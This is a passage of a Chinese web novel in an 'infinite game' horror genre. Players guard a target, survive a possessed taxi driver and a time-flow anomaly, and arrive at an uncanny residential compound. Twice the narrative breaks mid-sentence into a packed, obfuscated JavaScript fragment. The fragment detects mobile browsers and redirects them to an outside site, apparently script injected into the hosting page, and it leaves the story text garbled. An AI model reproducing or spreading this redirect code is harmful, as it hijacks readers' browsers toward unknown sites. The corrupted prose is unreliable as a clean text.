正如孩子所言,他的脑后好像也长了双眼,哪怕他紧盯着母亲,车仍然开得平稳,快速。 “不……妈妈!她来了!她已经追过来了!”司机的声音就像长指甲划过黑板表面,令人生理性地不适。 血泪从他的双眼中不断涌出。 谁来了?再次代入角色的步小连,不再深究面前的这幅怪像,仿佛对方真的是她十月怀胎诞下的骨肉。她听进了诡异说的话,忍不住扭过头,看向后窗玻璃。 白茫茫一片,早看不清来时路。水汽如同一群白色小虫子,密密麻麻地爬满了车窗,冷意似乎能穿过玻璃窜上她的鼻尖。这辆车早已和身后的城市完全脱节,在一个与世隔绝的区域里飞速前进。 步小连觉得自己受到了“孩子”的欺骗,愤怒地扭过头来,厉声质问:“根本没人在追我们!为什么骗我?什么时候养成撒谎的习惯?是谁带坏了你?快把车停下!” 她的面容因愤怒而变形,其扭曲程度,竟和面前诡异的身体不相上下。 “杀了你!杀了你们!!” 此刻,孩子已然完全失控,他的一只手脱离方向盘,拉开了副驾驶上那只背包的拉链。 仿佛这个动作已经做过了无数次,他熟练地掏出了一个巴掌大的铁盒,目光仍旧死死锁在步小连身上,带着某种疯狂和决绝。 “你在拿什么!你要做什么!”步小连察觉到了危险,心脏在胸腔里疯狂跳动,仿佛要冲破胸膛。她本能地意识到,面前的诡异无法通过这种方式直接操控。可是,她心中就是没来由地相信,一个小孩子,翻不了什么大风浪。 就应该乖乖听她的话才是。 是的,步小连使用这个标签能力时,从来没有主动结束过天赋状态。 一旦开启,“母亲”就成为了一张牢牢粘在步小连身上的标签! 手指如同几根干枯的树枝,生硬地弯曲着夹出一片药。司机的胳膊像是脱臼般不自然地翻转,沿着一个怪异的弧度,带动僵硬的手掌将药片送到了头枕的镂空处。 而后,司机缓缓张开乌青的双唇,将药片吞咽下去。 步小连看清楚了,那是一片灰白色的药片。 孩子如愿以偿地吞下药片,却像是发现了什么更恐怖的事情般尖叫起来。 “没有用……怎么会没有用!” “好孩子,别白费功夫了。” 虽然不知道诡异想要做什么,但看到对方算盘落空的失落模样,步小连心中划过一丝快意,语气反而带着家长式的安抚:“把车停下来,这不是我们应该去的地方。” 司机浑浊的眼珠随着视线转动一点一点地聚焦在步小连身上。 他露出了今晚第一个真心实意的笑容,像是讨好,像是嘲讽。 “好的,母亲,那的确不是我们该去的地方。” 司机一点点将脖子“咔咔”扭了回去,伴随着一阵令人头皮发麻的关节摩擦声,身体内部的齿轮终于在正确的地方咬合。 车速真的慢了下来,引擎的轰鸣声逐渐减弱。 “我们要去哪里?”叛逆的孩子终于低头,谦卑地询问母亲的意见。 “回家,不……我们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819146|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”步小连转头,看着仿若陷入昏迷的另一位乘客,“去罗老师的家,你这孩子,当司机的不知道我们要去哪里吗?你把我们叫的司机弄到哪里去了?” 孩子没有回应母亲的训话。轿车笨重地掉过头,朝着来时的方向驶去。 “如您所愿,母亲。” 【注意,父母资格证效果已解除。】 【(掠夺)父母资格证(天赋标签,你可以行使父母应有的权力)(冷却时间:24小时)】 这道提示音响起之时,步小连才发觉自己大半部分后背已经被冷汗浸湿。 她冷静下来,意识到或许不是“母亲”的劝告起了作用,而是司机在吃完那个药片之后,突然改变了什么主意。 按照以往的经验,效果解除之后的一小段时间内,目标有可能会陷入一定程度的认知混乱。不过大部分时候并不会对能力使用者造成什么伤害。 车辆依然平稳地行进着。镜子内,司机神色平静,目视前方,口罩皱巴巴地盖着下巴,看起来真的是一个普通的出租车司机。 像是应证了步小连的判断,画面一闪,她眼中的标签也发生了变化。 【杀了么员工】【诡异】【普通司机】 最后一个标签出现了变化。 在她开启查看诡异标签天赋之前,从未遇到过这种情况。玩家身上的标签,并不会出现改变。 天赋“升级”后,步小连发现自己又要花一段时间探索标签的用法了。 从刚才到现在,身边的人迟迟没有动静。她担忧地探了探罗湘的鼻息,对方似乎是真的睡得很沉。 或许是这个副本世界里原住民面对诡异的自我保护机制,是他们逃避污染的一种手段。 父母资格证生效后,如果罗湘中途醒过来,那么她同样会将步小连视作司机的父母。巧合的是,这个天赋标签也是更改身份认知的能力,因此天赋使用期间内,她会同时拥有“乖巧的学生”和“家长”两个身份的属性。 好在这并不是两个冲突的属性。否则,“乖巧的学生”作为步小连拥有的标签本身,其优先级高于天赋标签发动后产生的效果。 不知是不是步小连的错觉,周围的大雾稍稍稀薄了些。路边的行道木率先从雾霭中挣脱,隐隐约约显露出轮廓来。 【步小连:我现在让司机往回开。你们留意一下我的车辆。】 没有回应。 公路很窄,仅能容下两辆对向行驶的车错身。因此尽管周边仍然弥漫着些许白雾,只要有车辆经过,步小连都能发现。 可奇怪的是,往回开的路上,并没有遇到其他车辆。 路时缘他们去哪了? 好在司机驾驶的路线的确是来时所经过的道路,她在上一个拐弯的时候,瞥见了蓝色路牌的一角。 不知过了多久,久到步小连的眼皮也开始打架,前方的道路上终于出现了一点绿色荧光。随着车辆缓缓前行,那点荧光愈发清晰,逐渐勾勒出一个规整的方形轮廓。 是十字路口的绿灯。 她手中紧紧攥着的手机,此刻屏幕也微微亮起。 【步小连:现在要做什么?我要带任务目标下车吗?】 【黄书明:先别轻举妄动,我们的车就跟在你们后面。】 上一条是步小连在群里发出的提问,时间显示是“五分钟前”。 黄书明的消息紧随其后。 步小连下意识扭过头去—— 果然看到尾号C7490的一辆出租车,跟在他们身后。 16.时间流速 雾和云轻飘飘地被风吹开,露出的是一条深蓝色幕布,点缀着几片金色云霞。 出租车拖着一道被夕阳拉得变形的影子,从路口尽头不紧不慢地拐进一条狭窄逼仄的街道。街道两旁的建筑沉默地伫立,窥视着来往的行人。 罗湘轻轻拍了拍步小连的肩膀:“到了,小连。” “啊……好。”步小连打了个哈欠,她并没有睡着,但困意一阵一阵袭来,令她脑袋昏昏沉沉的。 步小连微微坐直身体。 司机把车停在小区门口,伸出手摸索了一会,略显生疏地关掉了计价器。仪表盘上的数字定格,车内的顶灯“啪”地亮起,昏黄光线倾洒而出。 他从后视镜内静静地看着身后的两个乘客。 父母资格证效果结束之后,车内又陷入了漫长的沉默之中。诡异没有发难,平稳地将他们送到了目的地。 步小连推开车门,如获大赦,率先迈出这块局促的空间。一个外卖员正好骑着电动车堪堪擦过,带起一阵呼呼作响的风。 小区大门边,“祥和小区”四个大字醒目地镶嵌在门楣之上。傍晚时分,夹着公文包的、提着菜篮子的、牵着宠物绳的居民在门口进进出出。 步小连深吸一口气,感觉自己终于在这个副本里看到了比较正常的画面。等罗湘回家后,她必须赶紧去找汪瑜他们汇合——如果有可能,她甚至不想回家。 转头看身后的出租车已经消失在道路的另一头。步小连心中一跳,如果司机趁他们分开之际,折返回来杀死任务目标呢……不行,她一定不能回去,或者必须让一个信得过的队友留下来看着。 罗湘拖着白色行李箱,轮子在地面上“咕噜咕噜”地滚动着,往门禁处走。 一句犹疑的“老师……”从后面传来,闻声回头,罗湘看见她的那个学生还呆呆杵在原地。 “小连,不回家吗?这么晚了,你给你哥发消息了吗?” 步小连没想到罗湘会关心这个,而且对方好像还很了解自己的家庭情况。 她只能先模棱两可地回答:“……我和他说了。” 罗湘看了眼天色,“时间不早了,你哥今天在家吗,要不要一起来我这吃个饭再回去?” 步小连愣了愣,等等,什么叫来她这一起吃饭? 她心中逐渐浮现出一个猜测,根据罗湘之前的言行,对方似乎默认自己住的地方和她家很近。 难不成,自己住的地方也在这个小区里? 步小连试探性地开口:“这……方便吗老师?那我上去放个东西?我哥现在人也不知道去哪了。” 反正她没说是上去“回家”放行李,还是上去寄放在罗湘家里。 “添两双筷子的事儿,之前又不是没来过。你忘啦,你之前一有空就下来蹭饭。”罗湘失笑。 她说出了步小连最想听到的消息。 确定了,她的家庭住址甚至就在罗湘楼上——果然,身份卡的安排一定和目标有关,他们并只是凑巧在列车上碰见的师生。 无论这么安排的用意是什么,反正现在正好方便她保护任务目标。 只是,罗湘这段话还透露了一个信息—— 原身和罗湘其实非常熟悉。 她们的相处模式也大概率不是这种拘谨的师生相处。 步小连觉得自己脑子有点乱,只能先拉着行李跟上罗湘。保安亭内坐着一个身着蓝色制服的工作人员,大门口依旧是一处人脸识别—— 无处不在的人脸识别! 红线长出,机器发出“滴”的一声清脆提示音,绿灯亮起,门禁缓缓打开。 *** 街道的拐角处,蓝色的出租车露出了一截车尾。 汪瑜和黄书明靠在车旁。路时缘没有离开出租车,只是推开自己那侧的门,把腿搁置在外面,弓下身子摆弄手机。 “祥和小区……”步小连从小区门口出来后便一路狂奔。 她匀了口气,气喘吁吁地说:“六栋206,最靠近小区出口的那栋。任务目标住在这里面,我等下会去她家吃饭。” 黄书明一怔,觉得有些耳熟,拿起手机看了眼:“我住在祥和小区六栋406,我还没来得及查地图,没想到和任务目标是一个地方。” 汪瑜:“可能这一片都是给教职工分配的房子。” “我也住在那,罗湘一直都知道我是她的邻居。这是不是副本的安排啊?” 步小连直起身,她的目光瞬间被挡风玻璃上挂着的佛像吊坠吸引,不由得一愣,汪瑜没有关上车门,示意她向前。 “你看看这车是不是你刚才坐的那辆?” 步小连探身,视线在车辆内饰上扫了一圈,犹疑地点点头,声音略带颤抖:“的确是。” 路时缘的声音从后面飘过来:“那司机呢?是不是长这样?” 说着,路时缘在车内把手机直接递到步小连眼前,对方来不及起身,猝不及防地看见手机屏幕上的画面。 照片赫然定格着司机的脸。 不过,已经死了。 “啊!”步小连惊呼一声,小小后退了一步。 照片中,司机歪着头,以一种极其诡异的姿势趴在副驾驶上,镜头聚焦他的侧脸上,皮肉还没完全被腐蚀,呈现出一种令人作呕的青灰色,尚能辨别出五官的模样。 黄书明也伸过头看了一眼,下意识嘶了一声。 路时缘在那个时候竟然想到了拍照。 “呃……应该不是同一个人。”步小连皱着脸,脸上写满了恐惧与纠结,勉强给出了判断:“难不成这是‘杀了么’组织共用的车?” 路时缘额头跳了跳,就听步小连继续说:“我那辆车的司机,就是‘杀了么’派来的人。” 汪瑜:“说清楚点,刚才你那辆车上发生了什么?” “刚才出租车开到了一个前后都是迷雾的公路上。那雾浓得可怕,四周白茫茫一片,什么都看不见。”步小连心有余悸地抚着胸口,声音微微颤抖,“我记得开了特别久,久到天都黑了。那个司机好像隶属于一个叫‘杀了么’的组织,我那段时间根本联系不上你们!” 此话不假,步小连发现自己在迷雾中编辑的信息全都石沉大海,消失得无影无踪,包括她给汪瑜私发的那条好友申请。 而且迷雾完全散开后,世界又变为傍晚时分。 时间倒流了吗?还是刚才自己的车辆驶入了另一个空间? 黄书明:“但我们自从第一个红绿灯路口就跟上你们了啊。你记得你们的车开到了哪个路段吗?” “雾罩过来的时候就看不见了,最后有印象的路口是海城西路。” 汪瑜点头,“导航是有这个地方,刚才我们路过了。” 步小连见众人对这个“杀了么”没什么反应,忍不住开口:“所以我……我感觉,我们是不是要解决‘杀了么’的人?” “杀了么……”汪瑜皱了皱眉,目光转向路时缘。“这就是你说的杀手组织?” 路时缘:“我有个问题,所以你的意思是,我们其中有一辆车陷入了幻觉?毕竟你说开到天黑了,现在明显还是在傍晚。” 步小连怔了一瞬,没想到路时缘会提出幻觉的假设。 的确,他们三个人一直呆在一起,都表示车辆从第一个马路口就跟上了她。 难道刚才经历的一切都是因为她陷入了幻觉?包括她天赋的升级、标签的使用都是幻觉? 不。步小连很快在心中否认了这个结论。至少天赋升级不是假的,她清楚地记得,在离开迷雾之后,自己还查看了一个原住民的标签。 那就是罗湘。 她头顶上的标签是【德高望重的老师】【领袖】【被追杀】 再次坐实了罗湘被“ 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这个杀手身份,目前来看就是给自己添堵的。如果这真的是判定骰判给她的,她此刻真恨不得能申请退货。 路时缘一眨眼,只觉肩膀一痛,脖颈处陡然传来一阵极其冰凉的触感。 一把刀刃贴在她的脖子上,持刀者毫无征兆地出现在她身边,另一只手紧紧钳着她的肩膀,力度大得几乎要嵌入骨头里。 眨眼间,路时缘便被拽到车外。对方现在只要稍稍一用力,寒光闪过,她恐怕就会血溅当场。 握刀的手很稳,有着一副艳丽的美甲。 是汪瑜。 她的声音从身后传来,带着肃然的冷意:“不是幻觉。黄书明,最后问你一遍,大家的头上都有血条吗?” “没错啊。”黄书明也被眼前的场景吓了一跳,不理解汪瑜为什么突然发难,忍不住又补了一句:“她真的是队友……这是我的天赋判断。” 汪瑜闭上眼复而睁开,言简意赅道:“我天赋的cd重置了。” “你……你什么意思?” 黄书明满脸惊愕,下意识反问。 路时缘瞬间明白了汪瑜的言下之意:“你是说我们对时间流速的认知有问题?” 她一说话,喉咙处便感觉到刀刃的微微颤动。 路时缘瞬间联想到,列车上汪瑜的举动——她的确有不让人察觉到行动的天赋。 “小连,你觉得你在车上待了多久?”汪瑜看向步小连。 步小连没看见汪瑜是怎么瞬移到路时缘旁边的,她心中对汪瑜的能力隐隐有了猜测,心下颇为忌惮。 她方才也第一时间查询了下父母资格证的天赋标签冷却时间,已经过去了一小时。但在众人眼里,火车站到祥和小区的路途,只有半小时左右。 步小连思索片刻,认真回答了汪瑜的提问:“说实话,我觉得起码过了四五个小时……我刚才差点在车上睡着。我现在好多了,但是……天赋的冷却时间是不是不会骗人呀?难不成我刚才对时间的感知才是正常的?” 与此同时,路时缘在脑海中疯狂呼叫判定骰。 【天赋:判定骰】 【拥有者:路时缘(97746)】 【冷却时间:11小时】 【状态:成功】 【提示:和天赋机制相关的问题无法判定。】 冷却时间只剩下11个小时!她第一次使用天赋大概在中午,也就是说,现在的真实时间应该快要过凌晨十二点了。 该死,既然流速变了怎么不干脆再快一点,直接让她的天赋cd也重置不好吗? 周遭却依旧笼罩在傍晚的余晖之下,天边那抹本应随着夜幕降临而消散的晚霞,此刻却如凝固的血渍般附着在众人上方。 下车之后,他们来到的是更为诡异的世界之中。而步小连在迷雾中所经历的,恐怕才是真实世界的时间流速! 17.保安 理智告诉她,汪瑜既然没有直接动手,说明对方确实是在认真判断队友是谁,因此她有谈判的空间。然而,刀子的冷意还是让路时缘本能地感到不适。 路时缘缓缓开口:“你把刀架在我脖子上,是因为觉得这事情是我干的?” 汪瑜冷笑一声:“你觉得呢?” “所以你认为这是我和副本诡异联手做的局?” “你不一定非得和诡异交流,只要知道有个同事把任务目标载走,便已足够。”汪瑜话语冰冷。 黄书明不由自主地顺着汪瑜的猜测接话,他眉头紧锁,神色凝重:“然后干扰我们对时间和空间的认知,让我们误以为车辆一直跟在他们后面?” 如果真如汪瑜所想,这是一个能在他们眼皮子底下完成的完美暗杀计划。 完美到就连黄书明,都不禁对自己的天赋判断产生了一丝动摇。 “那我的天赋不仅能干扰时间,还能干扰黄书明的血条天赋,甚至我们现在大家站在夕阳西下的画面里——” “都是我制造出来的幻境?” 路时缘语调平淡得可怕,仿佛那架在脖子上的利刃与自己毫无关系。紧接着,她话锋一转:“我没猜错的话,汪瑜,你的技能和时停有关吧?如果我能改变时间认知,你为什么觉得我不能干扰你的天赋使用?” 当然,路时缘也知道,这个时候讲证据为自己辩白其实用处不大,因为—— “反正成功的条件不包含和队友相亲相爱,我不介意先解决掉一些不确定性。” 那她还不动手,汪瑜想要的是什么? 试探她的天赋?还是逼她在紧迫的环境下透露更多信息? 黄书明闻言,下意识地看向步小连,想示意她也开口劝下,却见步小连呆站在那里,似乎被吓傻了。 僵持之际,所有人——除了步小连——的手机开始震动。 一个很久没出现的玩家打来了群通话。 黄书明赶忙点开,按下免提键,也像是给这场争端按下暂停键。 刹那间,胡平咋咋唬唬的声音从听筒里冲了出来: “不是不是!你们人呢!小黄,你在哪啊?” “我们……”黄书明瞧着面前挟持与被挟持的两人,一时语塞,不知该如何作答,只能无奈道,“我们在祥和小区附近。” “祥和小区是什么地方?等等?你们有瞬移天赋啊!我跑到广场上,连个人影都没瞅见。” 黄书明叹了口气,觉得胡平虽然误打误撞调停了气氛,但对方实在是有些拎不清状况:“我们都汇合半天了,也没见着你,就先跟着任务目标出来了。” “什么叫汇合半天没见到我,不想等我就直说!汪瑜刚喊集合,我可立马就出来了啊,我这儿有重要情报,你们赶紧派个人来接我,我一个人是不敢打车的。”胡平的音量又提高了几分。 路时缘听了一会,忍不住开口问道:“你是说汪瑜刚喊的集合?” 汪瑜的刀横在那里,她被迫微微仰着头,觉得脖子有点酸。 如果趁胡平讲话吸引众人注意力的当口,自己借力倒向汪瑜,应该还是有机会夺下刀的。 不过有意思的是,她刚才脖子稍稍向前探的时候,发现汪瑜会下意识以一个非常小的弧度向外挪刀。 “不然呢!而且我才进去没到五分钟啊,你们就全都走了?不是说要跟着任务目标吗?还有,祥和小区到底是啥地方?” 胡平这连续的几个问题,让众人不约而同陷入了沉默。 步小连率先开口,她说出了众人心中共同的结论:“胡平……的时间流速比我们所有人都慢?” 路时缘接上话:“原因呢?我们三拨人在刚才对时间有了不同的认知,现在又以某种方式重合了?” 胡平耳朵尖,一下子捕捉到步小连的声音:“小连?你也在旁边?你罗老师呢!” 汪瑜心中一沉,本以为她和黄书明的时间认知被更改,可能是因为路时缘对他们使用了天赋。 但远在天边的胡平和他们两拨人的认知都出现了断层。 这样看来,极有可能就是副本世界在干扰他们。 想到这点,汪瑜放下刀,慢慢松开了对路时缘的限制:“你先过来吧。” 说实话,虽然npc的死活无所谓,但她的确没有滥杀玩家的癖好。 路时缘活动了一下酸痛的半边肩膀,从车内捞起包。 黄书明赶忙说道:“任务目标也在这儿,你直接打个车,跟司机说到祥和小区就行。” 胡平有些不乐意:“哎呀!我火急火燎出来,就是怕落单啊!” 汪瑜没心思惯着他,冷冷开口:“随便你要去哪。” 汪瑜一进他就退:“好吧好吧,我马上过来,你们派个人在小区门口接我啊!” 说罢便挂断电话——路时缘有些惊讶,原以为胡平会要求全程电话陪同,毕竟他那么害怕落单。 汪瑜和黄书明对视一眼,两人面色凝重,汪瑜开口道:“任务要求我们保护目标七天,照目前这情况,我们只能通过天赋的冷却时间来判断真实时间的流速了。” 路时缘却觉得事情估计没有那么简单。 根据步小连的说辞,副本里的时间流速应该比真实世界慢得多。如果任务完成的标准是以真实世界的时间为准,那岂不是副本主动降低了难度?说不定他们只需在副本世界待上一天,任务就能自动完成。 路时缘觉得有必要弄清楚一件事,她向老玩家请教:“你们之前完成任务的时候,系统会直接把你们传送出去吗?” 黄书明思索片刻,总结道:“看情况。那种要呆满多少天的任务一般会给地点限定,离开那个地点就代表离开副本,有的任务则是完成后就传走了。” 路时缘接着说:“可是我们这次的任务既有时间要求,也没有限定地点。” 汪瑜微微点头:“这说明需要我们自己找出口。算了,还有时间,我们从自己的身份入手去搜集信息吧。” 步小连抬头看了眼渐晚的天色——来到这个副本世界后,她已经是第二次看着天空入夜了。 她决定打断众人的讨论,面带犹豫地开口:“我不能出来太久,晚饭要在罗湘家吃。” 汪瑜:“行,我们先进小区。你的身份应该不太可能一个人住吧?” “是的,我有爸妈和哥哥的联系方式。罗湘好像都认识我们。” 汪瑜转头看向黄书明,问道:“你家里还有其他人吗?” “我查看过近期的聊天记录,没看出有和人同居的迹象。反正你们要是没地方去,可以来我家呆着,就算家里有人,也能找到理由解释。” “有这么巧的事?”汪瑜眉头紧皱,“我们正愁没个落脚点,就刚好有你家这么个既能盯着任务目标,又能休息的地方?” “不管怎样,先过去看看吧。”路时缘打了个哈欠,看着夜幕渐渐吞噬夕阳,眼皮越来越沉,自从知道时间流速有问题,她就感觉困意铺天盖地袭来——该睡觉了。 众人既已拿定主意,便不再耽搁。 “小区有门禁。”步小连抬手,指向不远处的保安亭,旁边是一道银白色的金属闸门,车站同款的人脸识别装置。 黄书明摆摆手:“带几个人进去,应该不是啥难事。” 保安亭内有人值班,穿着一身蓝色制服。 不知为何,路时缘远远看着那个保安,脑海中突然浮现出胡平那顶乘务员帽子,总觉得这世界的制服样式,出奇地相似…… 汪瑜率先走上前,尝试人脸识别。一道红线从她脸上快速爬过,紧接着,门禁铃急促地响了起来:“滴滴滴——”“滴滴滴——”铃声尖锐刺耳,装置上的红灯疯狂闪烁。 【人脸未录入,识别失败】 【人脸未录入,识别失败】 【人脸未录入,识别失败】 路时缘有些好奇,这东西竟然也会有识别失败的时候?她下意识地再次看向保安亭,巧的是,那个保安也正盯着他们,脸上挂着职业性的微笑。 汪瑜退了出来,远离人脸识别范围的区域。她问黄书明:“看来得去问下保安。你和小连是这小区的业主,按理来说保安应该认识你们的。” 黄书明领着非业主的俩人快步走到保安室窗前。窗户一直是半开的状态,里面坐着一位面容清秀的年轻小哥。 若不是身着保安制服,出现在这保安室里,他这模样,直接放到偶像剧或是广告牌上,都不会让人觉得突兀。 “这不是黄老师吗?我刚接班你就来啦。旅行回来啦?玩得开心不?”未等黄书明开口,反而是保安先开启了话题。他笑容满面,是挑不出错处的热情。 黄书明心中暗自松了口气,有个相熟的保安,往后办事肯定会方便不少。“还不错,你下次有空可以去玩玩。小赵啊,你看我这几个朋友想进小区,但是这人面识别嘛……”黄书明瞥了一眼保安胸前的铭牌,说着便从兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825675|155606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里掏出一根烟,递了过去。 路时缘在后面,瞧见这一幕,不禁想问对方从哪掏出来的烟? 保安小赵熟练地接过烟,这动作他已经做了八百遍。毕竟入职十年,这样的场景早已再熟悉不过。“人脸识别啊,简单,登记录入一下就行。” 汪瑜走上前,在看清保安的面容之后,她微微一愣,不过很快恢复常态,若无其事地开口:“我们可以只登记吗?就过来一趟,也没必要麻烦你录入。” 保安小赵笑容依旧,可说出的话却让众人觉得怪异无比:“小姐,您的意思是……不通过人脸识别,让我直接放你们进去?” 众人还没来得及反应,他突然摆了摆手,脸上夸张的笑容褪去,神色变得正常许多:“这是真不行啊,黄哥,我们这领导刚开过会提醒过必须注意安全,不能给任何人通融!” 说着,保安还模仿起领导的语气,“各位同事们注意,近期乱象频发,我们作为坚守在业主面前的第一岗位,必须时刻警惕,不容松懈!” “好吧,好吧。”黄书明无奈妥协,连忙打断了对方的念叨:“那……他们要怎么录入?” “可以了,黄哥。”保安小赵的目光缓缓扫过众人的脸庞,那眼神仿若自带录入功能——可紧接着说出的话,却让众人心里直发毛: “已经录入完毕了,客人们。欢迎随时光临。”保安小赵意味深长地说完这句话,唰地一声拉下窗户。 好像如此一来便完成了他的全部工作似的。 几人最终还是通过人脸识别进入了小区,走到六栋楼下。 小区非常老旧,居民楼高七层,没有安装电梯。楼体墙面斑驳,墙皮大片剥落,露出里面灰色的水泥面。 “看着像上个世纪的老古董小区,却在大门入口装着个人脸识别,这个小区还真是……”黄书明嘀咕着。 路时缘走在他的旁边,“其实这个世界到处都是人脸识别。” 楼道口的灯光昏黄黯淡,静静地照着入口处。 几人接连钻入楼道,扑鼻而来的就是一股潮湿的霉味。 楼梯只有两个人并排那么宽。汪瑜率走上去,高跟鞋在地面上发出“嗒嗒”的响声。黄书明紧跟其后。 路时缘示意步小连先走。 步小连拽了下衣角,走上楼梯。 途经二楼时,罗湘家的门紧紧关闭着,门口张贴着一副对联。那对联的红纸边角已然发黑,像是曾遭受过烈火的熏烤。上联写着“欢声笑语贺新春”,下联是“欢聚一堂迎新年”,横批“合家欢乐”。 字迹工整端庄,可在这昏暗阴森的楼道里,却无端生出一种中式的恐怖氛围,喜庆的文字此刻仿佛成了某种不详的诅咒。 路时缘本想伸手摸一下这个对联,被黄书明轻声制止了:“先上去吧,万一等会罗湘出来了呢?” 几人接着往上走。 来到三楼后,步小连对着众人说道:“罗老师说我住楼上,但没有说是几楼……不然我先跟着你们过去吧?” “行啊。”黄书明点点头,“反正我住在六楼,你到时候直接去任务目标家里吃饭,完事了再让你哥哥来接你。” 黄书明声音很小,话音刚落,一道开门声在安静的空间内突兀地从众人身后传来。 “吱呀——” 三楼住户的门被打开了,门扉上倒着贴着一个红底黑字的“福”,此刻也在慢慢“倒退”。 玄关处,一位清瘦的男生站在那里,他的面容浸在阴影中。 几人不约而同被吓了一跳,视线瞬间聚焦在男生的脸上。 男生从阴影中慢慢走出来,穿着居家服,眼神落在步小连身上,语调很是亲昵:“小妹,回来怎么不说一声?不是罗老师跟我说我都不知道,这是带朋友过来做客吗?” 路时缘余光注意到步小连的面色在这一瞬间变得非常奇怪。 步小连心中大骇,在场的人当中,只有她自己知道。 面前这个所谓的“哥哥”,正是她刚进入列车时,复制完新人标签后,又杀死掠夺标签的另一名玩家! 步小连当时明明见到对方的尸体在车上被腐蚀干净了,此刻却又活生生地出现在她的眼前,笑着对自己喊“小妹”? 还有比这更惊悚的事情吗? 这个副本世界竟然还有让人死而复生的能力。 她不由得进一步思考一个问题—— 那些所谓被腐蚀的尸体,究竟是去哪里了?